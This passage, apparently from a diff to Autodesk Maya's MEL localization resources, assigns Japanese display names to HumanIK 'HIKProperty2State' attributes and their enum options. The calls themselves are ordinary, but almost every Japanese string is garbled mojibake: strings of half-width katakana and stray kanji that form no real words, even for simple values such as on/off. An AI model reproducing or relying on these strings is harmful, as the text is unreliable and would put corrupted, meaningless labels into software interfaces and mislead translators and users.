"ChestTOffsetX", "ミリイソニスメニニォメニ X" ); +setAttrNiceNameResource( "HIKProperty2State", "ChestTOffsetY", "ミリイソニスメニニォメニ Y" ); +setAttrNiceNameResource( "HIKProperty2State", "ChestTOffsetZ", "ミリイソニスメニニォメニ Z" ); +setAttrNiceNameResource( "HIKProperty2State", "AutomaticToes", "ラヤカッスナヨコ" ); +setAttrNiceNameResource( "HIKProperty2State", "FloorPivot", "オリー衞獰" ); +setAttrNiceNameResource( "HIKProperty2State", "Posture", "ラヒフャ" ); +setAttrNiceNameResource( "HIKProperty2State", "AutomaticFingers", "ラヤカッハヨヨク" ); +setAttrNiceNameResource( "HIKProperty2State", "HandFloorPivot", "ハヨオリー衞獰" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamCtrlNeckStiffness", "イホハサッソリヨニセアイソクユカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "HipsTranslationMode", "ナイソニスメニト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "FingerSolving", "ハヨヨクス簍" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamFootContactStiffness", "イホハサッスナスモエ・クユカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionLeftKnee", "ソリヨニラ霖ヲラエノユケラマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionRightKnee", "ソリヨニラ霖ヲラエノユケモメマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionLeftElbow", "ソリヨニラ霖ヲラエノユケラヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistMaximumExtensionRightElbow", "ソリヨニラ霖ヲラエノユケモメヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorLeftKnee", "ソリヨニラ霖ヲムケヒメラモラマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorRightKnee", "ソリヨニラ霖ヲムケヒメラモモメマ・" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorLeftElbow", "ソリヨニラ霖ヲムケヒメラモラヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "CtrlResistCompressionFactorRightElbow", "ソリヨニラ霖ヲムケヒメラモモメヨ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamHandFingerContactRollStiffness", "イホハサッハヨヨクスモエ・イ犹クユカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamFootFingerContactRollStiffness", "イホハサッスナヨコスモエ・イ犹クユカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamHandContactStiffness", "イホハサッハヨスモエ・クユカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "RollExtractionMode", "イ犹フ睚。ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "PullIterationCount", "タュカッオエシニハ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandThumbTip", "ラハヨトエヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandIndexTip", "ラハヨハウヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandMiddleTip", "ラハヨヨミヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandRingTip", "ラハヨボテヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandPinkyTip", "ラハヨミ。ヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftHandExtraFingerTip", "ラハヨチヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandThumbTip", "モメハヨトエヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandIndexTip", "モメハヨハウヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandMiddleTip", "モメハヨヨミヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandRingTip", "モメハヨボテヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandPinkyTip", "モメハヨミ。ヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightHandExtraFingerTip", "モメハヨチヨクシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootThumbTip", "ラスナエヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootIndexTip", "ラスナカヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootMiddleTip", "ラスナヨミヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootRingTip", "ラスナヒトヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootPinkyTip", "ラスナミ。ヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftFootExtraFingerTip", "ラスナチヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootThumbTip", "モメスナエヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootIndexTip", "モメスナカヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootMiddleTip", "モメスナヨミヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootRingTip", "モメスナヒトヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootPinkyTip", "モメスナミ。ヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightFootExtraFingerTip", "モメスナチヨコシ" ); +setAttrNiceNameResource( "HIKProperty2State", "ShoulderCorrection", "シ邊ソミ」ユ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegMaxExtensionAngle", "ラヘネラエノユケスヌカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegMaxExtensionAngle", "モメヘネラエノユケスヌカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmMaxExtensionAngle", "ラアロラエノユケスヌカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmMaxExtensionAngle", "モメアロラエノユケスヌカネ" ); +setAttrNiceNameResource( "HIKProperty2State", "ExtraCollarRatio", "クスシモヒケヌアネツハ" ); +setAttrNiceNameResource( "HIKProperty2State", "CollarStiffnessX", "ヒケヌクユカネ X" ); +setAttrNiceNameResource( "HIKProperty2State", "CollarStiffnessY", "ヒケヌクユカネ Y" ); +setAttrNiceNameResource( "HIKProperty2State", "CollarStiffnessZ", "ヒケヌクユカネ Z" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorLeftShoulder", "エオススヌノォラシ" ); +setAttrNiceNameResource( "HIKProperty2State", "ReachActorRightShoulder", "エオススヌノォモメシ" ); +setAttrNiceNameResource( "HIKProperty2State", "FingerPropagation", "ハヨヨクエォイ・" ); +setAttrNiceNameResource( "HIKProperty2State", "RealisticLeftKneeSolving", "アニユ豬トラマ・ス簍" ); +setAttrNiceNameResource( "HIKProperty2State", "RealisticRightKneeSolving", "アニユ豬トモメマ・ス簍" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleArmsAndLegs", "シキムケコヘタュノヒキナハヨアロコヘヘネイソ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachLeftWrist", "シキムケコヘタュノエオスラヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachRightWrist", "シキムケコヘタュノエオスモメヘ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachLeftAnkle", "シキムケコヘタュノエオスララ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachRightAnkle", "シキムケコヘタュノエオスモメラ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleSpine", "シキムケコヘタュノヒキナシケラオ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleSpineChildren", "シキムケコヘタュノヒキナシケラオラモスレオ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachChestEnd", "シキムケコヘタュノエオスミリイソトゥカヒ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSScaleNeck", "シキムケコヘタュノヒキナセアイソ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSReachHead", "シキムケコヘタュノエオスヘキイソ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftUpLegRollEx", "ラエヘネイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegRollEx", "ラヘネイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightUpLegRollEx", "モメエヘネイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegRollEx", "モメヘネイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmRollEx", "ラアロイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftForeArmRollEx", "ラヌーアロイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmRollEx", "モメアロイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "RightForeArmRollEx", "モメヌーアロイ犹ノユケ" ); +setAttrNiceNameResource( "HIKProperty2State", "TopSpineCorrection", "ノマイソシケラオミ」ユ" ); +setAttrNiceNameResource( "HIKProperty2State", "LowerSpineCorrection", "マツイソシケラオミ」ユ" ); +setAttrNiceNameResource( "HIKProperty2State", "SnSSmoothReach", "シキムケコヘタュノニスサャエオス" ); +setAttrNiceNameResource( "HIKProperty2State", "LockX", "ヒカィ X" ); +setAttrNiceNameResource( "HIKProperty2State", "LockY", "ヒカィ Y" ); +setAttrNiceNameResource( "HIKProperty2State", "LockZ", "ヒカィ Z" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamRealisticArmSolving", "イホハサッアニユ豬トハヨアロス簍" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1Mode", "イホハサッメカラエヘネイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1", "イホハサッメカラエヘネイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll1Mode", "イホハサッメカラヘネイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll1", "イホハサッメカラヘネイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1Mode", "イホハサッメカモメエヘネイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll1", "イホハサッメカモメエヘネイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll1Mode", "イホハサッメカモメヘネイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll1", "イホハサッメカモメヘネイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll1Mode", "イホハサッメカラアロイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll1", "イホハサッメカラアロイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1Mode", "イホハサッメカラヌーアロイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll1", "イホハサッメカラヌーアロイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll1Mode", "イホハサッメカモメアロイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll1", "イホハサッメカモメアロイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1Mode", "イホハサッメカモメヌーアロイ犹 1 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll1", "イホハサッメカモメヌーアロイ犹 1" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2Mode", "イホハサッメカラエヘネイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll2", "イホハサッメカラエヘネイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll2Mode", "イホハサッメカラヘネイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll2", "イホハサッメカラヘネイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2Mode", "イホハサッメカモメエヘネイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll2", "イホハサッメカモメエヘネイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll2Mode", "イホハサッメカモメヘネイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll2", "イホハサッメカモメヘネイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll2Mode", "イホハサッメカラアロイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll2", "イホハサッメカラアロイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2Mode", "イホハサッメカラヌーアロイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll2", "イホハサッメカラヌーアロイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll2Mode", "イホハサッメカモメアロイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll2", "イホハサッメカモメアロイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2Mode", "イホハサッメカモメヌーアロイ犹 2 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll2", "イホハサッメカモメヌーアロイ犹 2" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3Mode", "イホハサッメカラエヘネイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll3", "イホハサッメカラエヘネイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll3Mode", "イホハサッメカラヘネイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll3", "イホハサッメカラヘネイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3Mode", "イホハサッメカモメエヘネイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll3", "イホハサッメカモメエヘネイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll3Mode", "イホハサッメカモメヘネイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll3", "イホハサッメカモメヘネイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll3Mode", "イホハサッメカラアロイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll3", "イホハサッメカラアロイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3Mode", "イホハサッメカラヌーアロイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll3", "イホハサッメカラヌーアロイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll3Mode", "イホハサッメカモメアロイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll3", "イホハサッメカモメアロイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3Mode", "イホハサッメカモメヌーアロイ犹 3 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll3", "イホハサッメカモメヌーアロイ犹 3" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4Mode", "イホハサッメカラエヘネイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll4", "イホハサッメカラエヘネイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll4Mode", "イホハサッメカラヘネイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll4", "イホハサッメカラヘネイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4Mode", "イホハサッメカモメエヘネイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll4", "イホハサッメカモメエヘネイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll4Mode", "イホハサッメカモメヘネイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll4", "イホハサッメカモメヘネイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll4Mode", "イホハサッメカラアロイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll4", "イホハサッメカラアロイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4Mode", "イホハサッメカラヌーアロイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll4", "イホハサッメカラヌーアロイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll4Mode", "イホハサッメカモメアロイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll4", "イホハサッメカモメアロイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4Mode", "イホハサッメカモメヌーアロイ犹 4 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll4", "イホハサッメカモメヌーアロイ犹 4" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5Mode", "イホハサッメカラエヘネイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll5", "イホハサッメカラエヘネイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll5Mode", "イホハサッメカラヘネイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftLegRoll5", "イホハサッメカラヘネイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5Mode", "イホハサッメカモメエヘネイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightUpLegRoll5", "イホハサッメカモメエヘネイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll5Mode", "イホハサッメカモメヘネイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightLegRoll5", "イホハサッメカモメヘネイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll5Mode", "イホハサッメカラアロイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftArmRoll5", "イホハサッメカラアロイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5Mode", "イホハサッメカラヌーアロイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafLeftForeArmRoll5", "イホハサッメカラヌーアロイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll5Mode", "イホハサッメカモメアロイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightArmRoll5", "イホハサッメカモメアロイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5Mode", "イホハサッメカモメヌーアロイ犹 5 ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "ParamLeafRightForeArmRoll5", "イホハサッメカモメヌーアロイ犹 5" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegFullRollExtractionMode", "ラヘネヘネォイ犹フ睚。ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftLegFullRollExtraction", "ラヘネヘユイ犹フ睚。" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegFullRollExtractionMode", "モメヘネヘネォイ犹フ睚。ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "RightLegFullRollExtraction", "モメヘネヘネォイ犹フ睚。" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmFullRollExtractionMode", "ラアロヘネォイ犹フ睚。ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "LeftArmFullRollExtraction", "ラアロヘネォイ犹フ睚。" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmFullRollExtractionMode", "モメアロヘネォイ犹フ睚。ト」ハス" ); +setAttrNiceNameResource( "HIKProperty2State", "RightArmFullRollExtraction", "モメアロヘネォケカッフ睚。" ); +setAttrNiceNameResource( "HIKProperty2State", "NeckMotionReduction", "セアイソヤヒカッシノル" ); +setAttrNiceNameResource( "HIKProperty2State", "fza", "メムカウス睫ワモーマカヤマ" ); +setAttrEnumResource( "HIKProperty2State", "ForceActorSpace", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ForceActorSpace", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ScaleCompensationMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ScaleCompensationMode", 1, "ラヤカッ" ); +setAttrEnumResource( "HIKProperty2State", "ScaleCompensationMode", 2, "モテサァ" ); +setAttrEnumResource( "HIKProperty2State", "MassCenterCompensationMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "MassCenterCompensationMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleHeightCompensationMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleHeightCompensationMode", 1, "ラヤカッ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleHeightCompensationMode", 2, "モテサァ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleProximityCompensationMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleProximityCompensationMode", 1, "ラヤカッ" ); +setAttrEnumResource( "HIKProperty2State", "AnkleProximityCompensationMode", 2, "モテサァ" ); +setAttrEnumResource( "HIKProperty2State", "HipsHeightCompensationMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "HipsHeightCompensationMode", 1, "ラヤカッ" ); +setAttrEnumResource( "HIKProperty2State", "HipsHeightCompensationMode", 2, "モテサァ" ); +setAttrEnumResource( "HIKProperty2State", "FloorContact", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "FloorContact", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorContact", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorContact", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 0, "ニユヘィ" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 1, "ヘイソ" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 2, "ヨクク" ); +setAttrEnumResource( "HIKProperty2State", "HandContactType", 3, "フ" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContact", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContact", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContactMode", 0, "ユウヨヘ" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContactMode", 1, "タゥノ「" ); +setAttrEnumResource( "HIKProperty2State", "HandFingerContactMode", 2, "ユウヨヘコヘタゥノ「" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 0, "ニユヘィ" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 1, "ライソ" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 2, "ヨコク" ); +setAttrEnumResource( "HIKProperty2State", "FootContactType", 3, "フ" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContact", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContact", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContactMode", 0, "ユウヨヘ" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContactMode", 1, "タゥノ「" ); +setAttrEnumResource( "HIKProperty2State", "FootFingerContactMode", 2, "ユウヨヘコヘタゥノ「" ); +setAttrEnumResource( "HIKProperty2State", "LeftUpLegRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftUpLegRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftLegRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightUpLegRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightUpLegRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightLegRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightLegRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftArmRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftForeArmRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftForeArmRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightArmRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightArmRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightForeArmRollMode", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightForeArmRollMode", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "Mirror", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "Mirror", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftKneeKillPitch", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftKneeKillPitch", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightKneeKillPitch", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightKneeKillPitch", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftElbowKillPitch", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LeftElbowKillPitch", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightElbowKillPitch", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "RightElbowKillPitch", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticToes", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticToes", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "FloorPivot", 0, "ラヤカッ" ); +setAttrEnumResource( "HIKProperty2State", "FloorPivot", 1, "ライソ" ); +setAttrEnumResource( "HIKProperty2State", "FloorPivot", 2, "スナヨコ" ); +setAttrEnumResource( "HIKProperty2State", "Posture", 0, "チスラ羝ッホ" ); +setAttrEnumResource( "HIKProperty2State", "Posture", 1, "ヒトラ羝ッホ" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticFingers", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "AutomaticFingers", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorPivot", 0, "ラヤカッ" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorPivot", 1, "ヘイソ" ); +setAttrEnumResource( "HIKProperty2State", "HandFloorPivot", 2, "ハヨヨク" ); +setAttrEnumResource( "HIKProperty2State", "HipsTranslationMode", 0, "ハタス邵ユミヤ" ); +setAttrEnumResource( "HIKProperty2State", "HipsTranslationMode", 1, "ノフ蟶ユミヤ" ); +setAttrEnumResource( "HIKProperty2State", "HipsTranslationMode", 2, "ケシ」" ); +setAttrEnumResource( "HIKProperty2State", "FingerSolving", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "FingerSolving", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "RollExtractionMode", 0, "マ犖ヤ" ); +setAttrEnumResource( "HIKProperty2State", "RollExtractionMode", 1, "セカヤ" ); +setAttrEnumResource( "HIKProperty2State", "FingerPropagation", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "FingerPropagation", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "SnSSmoothReach", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "SnSSmoothReach", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LockX", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LockX", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LockY", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LockY", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "LockZ", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "LockZ", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamRealisticArmSolving", 0, "スモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamRealisticArmSolving", 1, "ニモテ" ); +setAttrEnumResource( "HIKProperty2State", "ParamLeafLeftUpLegRoll1Mode", 0, "スモテ" ); +setAttrEnumResource( 